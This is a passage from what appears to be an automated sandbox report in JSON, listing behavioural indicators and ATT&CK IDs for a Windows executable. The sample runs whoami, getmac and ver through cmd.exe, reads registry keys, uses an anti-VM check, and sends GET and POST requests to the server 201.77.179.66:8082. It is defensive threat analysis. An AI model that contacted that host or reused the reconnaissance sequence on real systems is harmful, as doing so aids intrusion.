\"$objects\"","origin":"API Call","mitre_attack_id":"T1047","relevance":10,"id":"api-56","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"whoami.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"getmac.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"\"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe\" called \"CreateProcessW\" with parameter \"\"cmd.exe\" /C \"ver\"\" - (UID: 00000000-00000308)\n \"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe\" called \"CreateProcessW\" with parameter \"\"cmd.exe\" /C \"whoami\"\" - (UID: 00000000-00000308)\n \"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe\" called \"CreateProcessW\" with parameter \"\"cmd.exe\" /C \"getmac\"\" - (UID: 00000000-00000308)\n \"cmd.exe\" called \"CreateProcessW\" with parameter \"whoami\" - (UID: 00000000-00006344)\n \"cmd.exe\" called \"CreateProcessW\" with parameter \"getmac\" - (UID: 00000000-00006676)","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create an instance of a named pipe","description":"\"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\" - (UID: 00000000-00000308)","origin":"API Call","mitre_attack_id":"T1570","relevance":3,"id":"api-138","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$2c","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"$2d","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"201.77.179.66:8082\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"General","name":"Contains ability to create a new process (API string)","description":"Found reference to API \"CreateProcessW\" (Indicator: \"CreateProcess\"; File: \"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a\")\n Found reference to API \"CreateProcessW\" (Indicator: \"CreateProcess\"; Source: \"00000000-00000308.00000001.68500.2AB58000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-204","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"General","name":"Contains ability to create directories (API string)","description":"Found reference to API \"CreateDirectoryW\" (Indicator: \"CreateDirectory\"; File: \"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a\")\n Found reference to API \"CreateDirectoryW\" (Indicator: \"CreateDirectory\"; Source: \"00000000-00000308.00000001.68500.2AB58000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1074.001","relevance":1,"id":"string-423","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"General","name":"Contains ability to create/load registry keys (API string)","description":"Found reference to API \"RegCreateKeyExW\" (Indicator: \"RegCreateKey\"; File: \"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a\")\n Found reference to API \"RegCreateKeyExW\" (Indicator: \"RegCreateKey\"; Source: \"00000000-00000308.00000001.68500.2AB58000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-307","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; File: \"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a\")\n Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; Source: \"00000000-00000308.00000001.68500.2AB58000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; File: \"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a\")\n Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00000308.00000001.68500.2AB58000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-345","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically determine API calls","description":"Found GetProcAddress() and LoadLibraryA() in an import section (Source: 9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a)","origin":"Static Parser","mitre_attack_id":"T1027.007","relevance":1,"id":"static-79","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$2e","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"General","name":"Contains ability to load modules (API string)","description":"Found reference to API \"SymLoadModule64\" (Indicator: \"LoadModule\"; File: \"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a\")\n Found reference to API \"SymLoadModule64\" (Indicator: \"LoadModule\"; Source: \"00000000-00000308.00000001.68500.2AB58000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-424","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; File: \"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a\")\n Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; File: \"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a\")\n Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00000308.00000001.68500.2AB58000.00000002.mdmp\")\n Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00000308.00000001.68500.2AB58000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-206","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"$2f","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/open a process (API string)","description":"Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; File: \"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a\")\n Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00000308.00000001.68500.2AB58000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; File: \"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; File: \"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a\")\n Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00000308.00000001.68500.2AB58000.00000002.mdmp, 00000000-00000308.00000001.68500.C34A7000.00000002.mdmp, 00000000-00000308.00000002.70418.C6C2D000.00000002.mdmp\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; Source: \"00000000-00000308.00000001.68500.2AB58000.00000002.mdmp, 00000000-00000308.00000001.68500.C34A7000.00000002.mdmp, 00000000-00000308.00000002.70418.C6C2D000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\SM0:3540:304:WilStaging_02\"\n \"SM0:3540:304:WilStaging_02\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"\"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe\" failed to load missing module \"libssl32.dll\" - [base:0; Status:c0000135]\n \"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe\" failed to load missing module \"libeay32.dll\" - [base:0; Status:c0000135]","origin":"API Call","mitre_attack_id":"T1574.002","relevance":1,"id":"api-22","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"General","name":"File contains dynamic base/NX flags","description":"\"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a\" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE\n IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA","origin":"Static Parser","id":"static-154","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"General","name":"Found user-agent related strings","description":"Found string \"User-Agent: dlang-requests\" (Indicator: \"user-agent: \"; Source: \"00000000-00000308.00000001.68500.A16F0000.00000004.mdmp, 00000000-00000308.00000002.70418.A16F0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-127","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"General","name":"GETs files from a webserver","description":"$30","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$31","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at E5FC0000\n \"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at E4C50000\n \"cmd.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at E5FC0000\n \"whoami.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at E5FC0000\n \"whoami.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at E4C50000\n \"getmac.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at E5FC0000\n \"getmac.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at E4C50000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at E7F70000\n \"cmd.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at E7F70000\n \"whoami.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at E7F70000\n \"getmac.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at E7F70000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"19001a001000000040c747e5fd7f0000@ntdll.dll\"\n \"220023001000000018c747e5fd7f0000@ntdll.dll\"","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a\" was detected as \"Microsoft Visual C/C++\" and name: \"Compiler\"\n \"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a\" was detected as \"Microsoft Linker\" and name: \"Linker\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"\"getmac.exe\" touched \"WBEM Locator\" (Path: \"HKCU\\CLSID\\{4590F811-1D3A-11D0-891F-00AA004B2E24}\")\n \"getmac.exe\" touched \"Windows Management and Instrumentation\" (Path: \"HKCU\\CLSID\\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\\TREATAS\")\n \"getmac.exe\" touched \"PSFactoryBuffer\" (Path: \"HKCU\\CLSID\\{7C857801-7381-11CF-884D-00AA004B2E24}\\TREATAS\")\n \"getmac.exe\" touched \"Microsoft WBEM (non)Standard Marshaling for IWbemServices\" (Path: \"HKCU\\CLSID\\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\\TREATAS\")\n \"getmac.exe\" touched \"Microsoft WBEM (non)Standard Marshaling for IEnumWbemClassObject\" (Path: \"HKCU\\CLSID\\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\\TREATAS\")\n \"getmac.exe\" touched \"Microsoft WBEM WbemClassObject Marshalling proxy\" (Path: \"HKCU\\CLSID\\{4590F812-1D3A-11D0-891F-00AA004B2E24}\\TREATAS\")","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"General","name":"PE file contains Debug data directory","description":"\"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"","origin":"Static Parser","id":"static-146","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"\"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a\" has an executable section named \".text\"","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"General","name":"PE file contains writable sections","description":"\"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a\" has an writable section named \".data\"","origin":"Static Parser","id":"static-95","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"\"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a\" file has an entrypoint instructions - \"sub\trsp, 0x28,call\t0x14013a430,add\trsp, 0x28,jmp\t0x14013a058,int3\t,int3\t,sub\trsp, 0x28,call\t0x14013a970,test\teax, eax,je\t0x14013a20e,mov\trax, qword ptr gs:[0x30],mov\trcx, qword ptr [rax + 8],jmp\t0x14013a201,cmp\trcx, rax,je\t0x14013a215,xor\teax, eax,lock cmpxchg\tqword ptr [rip + 0xa0984], rcx,jne\t0x14013a1fc,xor\tal, al,add\trsp, 0x28,ret\t,mov\tal, 1,jmp\t0x14013a210,int3\t,int3\t,int3\t,push\trbx,sub\trsp, 0x20,movzx\teax, byte ptr [rip + 0xa096f],test\tecx, ecx,mov\tebx, 1,\"","origin":"Static Parser","id":"static-96","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"General","name":"PE file has a big raw size section","description":"Raw size of \".text\" is \"0x156800\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-125","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"General","name":"PE file has a big virtual size section","description":"Virtual size of \".text\" is \"0x1567b0\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-124","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"General","name":"PE file has a high image base","description":"\"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a\" has high imagebase \"0x140000000\"","origin":"Static Parser","relevance":1,"id":"static-93","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"Observed system executable string:\"%WINDIR%\\System32\\cmd.exe\" [Source: 00000000-00000308-00000BC0-34198046]\n Observed system executable string:\"%WINDIR%\\System32\\whoami.exe\" [Source: 00000000-00006344-00000BC0-35249862]\n Observed system executable string:\"%WINDIR%\\system32\\whoami.exe\" [Source: 00000000-00006344-00000C41-1061617266]\n Observed system executable string:\"%WINDIR%\\System32\\getmac.exe\" [Source: 00000000-00006676-00000BC0-36179371]\n Observed system executable string:\"%WINDIR%\\system32\\getmac.exe\" [Source: 00000000-00006676-00000C41-1131358990]","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"whoami.exe\" (UID: 00000000-00004116) was launched with new environment variables: \"PROMPT=\"$P$G\"\"\n Process \"cmd.exe\" (UID: 00000000-00006676) was launched with missing environment variables: \"PROMPT\"\n Process \"getmac.exe\" (UID: 00000000-00003540) was launched with new environment variables: \"PROMPT=\"$P$G\"\"","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"$32","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"General","name":"Runs shell commands","description":"\"/C \"ver\"\" on 2023-12-12.11:29:43.687\n \"/C \"whoami\"\" on 2023-12-12.11:29:44.187\n \"/C \"getmac\"\" on 2023-12-12.11:29:45.156","origin":"Monitored Target","mitre_attack_id":"T1059.003","relevance":5,"id":"target-3","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"cmd.exe\" with commandline \"/C \"ver\"\" (UID: 00000000-00005596)\n Spawned process \"cmd.exe\" with commandline \"/C \"whoami\"\" (UID: 00000000-00006344)\n Spawned process \"whoami.exe\" (UID: 00000000-00004116)\n Spawned process \"cmd.exe\" with commandline \"/C \"getmac\"\" (UID: 00000000-00006676)\n Spawned process \"getmac.exe\" (UID: 00000000-00003540)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"Spawned process \"cmd.exe\" with commandline \"/C \"ver\"\" (UID: 00000000-00005596)\n Spawned process \"cmd.exe\" with commandline \"/C \"whoami\"\" (UID: 00000000-00006344)\n Spawned process \"whoami.exe\" (UID: 00000000-00004116)\n Spawned process \"cmd.exe\" with commandline \"/C \"getmac\"\" (UID: 00000000-00006676)\n Spawned process \"getmac.exe\" (UID: 00000000-00003540)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"General","name":"Tries to GET non-existent files from a webserver","description":"\"GET /img/images/header/149C156F2F3AFE90.gif HTTP/1.1\nUser-Agent: dlang-requests\nHost: 201.77.179.66:8082\nConnection: Keep-Alive\nAccept-Encoding: gzip,deflate\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-3","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe\" creates a thread in process \"-1\" (Handle: 4294967295)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"\"SynUnst.ini\" has type \"data\"- Location: [C:\\SynUnst.ini]- [targetUID: 00000000-00000308]","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$33","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe\" queries basic process information of the \"C:\\9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe\" (UID: 308)\n \"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe\" queries basic process information of the \"C:\\Windows\\System32\\cmd.exe\" (UID: 308)\n \"cmd.exe\" queries basic process information of the \"C:\\Windows\\System32\\cmd.exe\" (UID: 5596)\n \"cmd.exe\" queries basic process information of the \"C:\\Windows\\System32\\cmd.exe\" (UID: 6344)\n \"cmd.exe\" queries basic process information of the \"C:\\Windows\\System32\\whoami.exe\" (UID: 6344)\n \"cmd.exe\" queries basic process information of the \"C:\\Windows\\System32\\cmd.exe\" (UID: 6676)\n \"cmd.exe\" queries basic process information of the \"C:\\Windows\\System32\\getmac.exe\" (UID: 6676)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$34","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: The input sample contains a known anti-VM trick","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"$35","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$36","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"\"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe\" trying to access non-existent file \"\\Device\\HarddiskVolume2\\SYNUNST.INI\"\n \"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe\" trying to access non-existent file \"C:\\SynUnst.ini\"","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"\"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe\" writes file \"c:\\synunst.ini\"\n \"cmd.exe\" writes file \"\\device\\namedpipe\"\n \"whoami.exe\" writes file \"\\device\\namedpipe\"\n \"getmac.exe\" writes file \"\\device\\namedpipe\"","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP webserver (GET/POST requests)","description":"Found http requests in header \"POST /img/lndex.php\"\n Found http requests in header \"GET /img/images/header/149C156F2F3AFE90.gif\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with C2 using Sockets (API string)","description":"Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; Source: \"00000000-00000308.00000000.66577.C33CF000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1095","relevance":1,"id":"string-228","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; Source: \"00000000-00000308.00000000.66577.C33CF000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create/connect to a named pipe (API string)","description":"Found reference to API \"CreatePipe\" (Indicator: \"CreatePipe\"; File: \"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a\")\n Found reference to API \"CreatePipe\" (Indicator: \"CreatePipe\"; Source: \"00000000-00000308.00000001.68500.2AB58000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-210","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"Network Related","name":"Contains ability to open a port and listen for incoming connection (API string)","description":"Found reference to API \"setsockopt\" (Indicator: \"setsockopt\"; Source: \"00000000-00000308.00000000.66577.C33CF000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1571","relevance":1,"id":"string-419","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"Network Related","name":"Contains ability to upload file/data","description":"$37","origin":"File/Memory","mitre_attack_id":"T1041","relevance":1,"id":"string-511","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"$38","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in 